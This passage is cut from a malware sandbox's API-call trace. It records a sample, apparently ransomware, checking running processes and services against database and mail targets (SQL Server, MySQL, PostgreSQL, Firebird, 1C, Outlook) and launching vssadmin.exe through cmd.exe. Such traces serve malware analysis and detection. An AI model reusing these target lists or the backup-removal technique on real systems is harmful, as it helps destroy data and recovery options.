pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0208.607] lstrlenW (lpString="System") returned 6 [0208.607] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0208.607] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0208.607] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0208.607] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0208.607] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0208.607] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0208.607] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0208.607] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0208.608] lstrlenW (lpString="smss.exe") returned 8 [0208.609] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0208.609] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0208.609] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0208.609] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0208.609] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0208.609] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0208.609] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0208.609] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.610] lstrlenW (lpString="csrss.exe") returned 9 [0208.610] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0208.611] lstrlenW (lpString="wininit.exe") returned 11 [0208.611] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.612] lstrlenW (lpString="csrss.exe") returned 9 [0208.612] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0208.613] lstrlenW (lpString="winlogon.exe") returned 12 [0208.613] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0208.614] lstrlenW (lpString="services.exe") returned 12 [0208.615] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0208.616] lstrlenW (lpString="lsass.exe") returned 9 [0208.616] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0208.617] lstrlenW (lpString="lsm.exe") returned 7 [0208.617] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.618] lstrlenW (lpString="svchost.exe") returned 11 [0208.618] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.619] lstrlenW (lpString="svchost.exe") returned 11 [0208.619] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.620] lstrlenW (lpString="svchost.exe") returned 11 [0208.620] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.621] lstrlenW (lpString="svchost.exe") returned 11 [0208.622] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.623] lstrlenW (lpString="svchost.exe") returned 11 [0208.623] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0208.829] lstrlenW (lpString="audiodg.exe") returned 11 [0208.829] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.831] lstrlenW (lpString="svchost.exe") returned 11 [0208.831] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.861] lstrlenW (lpString="svchost.exe") returned 11 [0208.861] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0208.863] lstrlenW (lpString="dwm.exe") returned 7 [0208.863] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0208.869] lstrlenW (lpString="explorer.exe") returned 12 [0208.870] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0208.871] lstrlenW (lpString="spoolsv.exe") returned 11 [0208.871] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0208.872] lstrlenW (lpString="taskhost.exe") returned 12 [0208.872] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.873] lstrlenW (lpString="svchost.exe") returned 11 [0208.873] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0208.874] lstrlenW (lpString="taskeng.exe") returned 11 [0208.874] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0208.876] lstrlenW (lpString="taskhost.exe") returned 12 [0208.876] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0208.877] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0208.877] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0208.878] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0208.878] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0208.878] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0208.878] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0208.879] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0208.879] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0208.880] lstrlenW (lpString="always_winds.exe") returned 16 [0208.880] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0208.881] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0208.881] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0208.882] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0208.882] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0208.883] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0208.883] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0208.884] lstrlenW (lpString="alienwed.exe") returned 12 [0208.884] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0208.885] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0208.885] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0208.886] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0208.886] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0208.887] lstrlenW (lpString="mp beginners.exe") returned 16 [0208.887] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0208.888] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0208.888] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0208.889] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0208.889] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0208.890] lstrlenW (lpString="harassment.exe") returned 14 [0208.890] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0208.891] lstrlenW (lpString="francis-communication.exe") returned 25 [0208.891] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0208.892] lstrlenW (lpString="gccinformational.exe") returned 20 [0208.892] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0208.895] lstrlenW (lpString="diploma.exe") returned 11 [0208.895] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0208.897] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0208.897] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0208.898] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0208.898] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.898] lstrlenW (lpString="svchost.exe") returned 11 [0208.898] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0208.899] lstrlenW (lpString="sppsvc.exe") returned 10 [0208.899] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.900] lstrlenW (lpString="svchost.exe") returned 11 [0208.900] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0208.901] lstrlenW (lpString="qnuriy.exe") returned 10 [0208.901] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0208.902] lstrlenW (lpString="cmd.exe") returned 7 [0208.902] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0208.903] lstrlenW (lpString="conhost.exe") returned 11 [0208.903] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0209.026] lstrlenW (lpString="vssadmin.exe") returned 12 [0209.027] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.027] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0209.027] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0209.028] CloseHandle (hObject=0x1f8) returned 1 [0209.028] Sleep (dwMilliseconds=0x1f4) [0209.960] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x570150 [0209.960] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0209.961] GetLastError () returned 0xea [0209.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13a6) returned 0x3f06078 [0209.961] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f06078, cbBufSize=0x13a6, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f06078, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0209.962] CloseServiceHandle (hSCObject=0x570150) returned 1 [0209.962] lstrlenW (lpString="Appinfo") returned 7 [0209.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0209.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0209.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0209.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0209.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0209.962] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0209.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0209.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0209.962] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0209.962] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0209.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0209.962] lstrlenW (lpString="AudioSrv") returned 8 [0209.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0209.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0209.962] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0209.962] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0209.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0209.963] lstrlenW (lpString="BFE") returned 3 [0209.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0209.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0209.963] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0209.963] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0209.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0209.963] lstrlenW (lpString="CryptSvc") returned 8 [0209.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0209.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0209.963] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0209.963] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0209.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0209.963] lstrlenW (lpString="CscService") returned 10 [0209.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0209.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0209.963] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0209.963] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0209.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0209.963] lstrlenW (lpString="DcomLaunch") returned 10 [0209.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0209.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0209.963] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0209.963] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0209.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0209.963] lstrlenW (lpString="Dhcp") returned 4 [0209.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0209.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0209.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0209.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0209.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0209.964] lstrlenW (lpString="Dnscache") returned 8 [0209.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0209.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0209.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0209.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0209.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0209.964] lstrlenW (lpString="DPS") returned 3 [0209.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0209.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0209.964] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0209.964] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0209.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0209.964] lstrlenW (lpString="eventlog") returned 8 [0209.964] lstrcmpiW 